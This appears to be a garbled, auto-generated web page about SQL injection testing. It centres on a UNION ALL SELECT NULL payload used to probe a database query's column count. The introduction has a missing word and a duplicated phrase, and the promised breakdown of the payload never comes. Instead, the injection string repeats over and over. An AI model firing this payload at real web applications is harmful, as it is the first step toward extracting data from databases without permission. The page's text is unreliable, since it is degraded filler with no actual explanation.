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Select Null,null,null,null,null# — {keyword}') Union All

Understanding SQL Injection: Testing Techniques and Tools for

This payload is a classic example of , specifically used during the initial discovery phase of an attack to determine the structure of a database query. Payload Breakdown {KEYWORD}') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#

The string "{KEYWORD}') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#" consists of several distinct components: NULL#" consists of several distinct components:

{KEYWORD}') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#{KEYWORD}') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#
{KEYWORD}') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#{KEYWORD}') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#
{KEYWORD}') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#{KEYWORD}') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#
{KEYWORD}') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#{KEYWORD}') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#
{KEYWORD}') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#{KEYWORD}') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#
{KEYWORD}') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#{KEYWORD}') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#
{KEYWORD}') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#{KEYWORD}') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#
{KEYWORD}') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#{KEYWORD}') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#
{KEYWORD}') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#{KEYWORD}') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#
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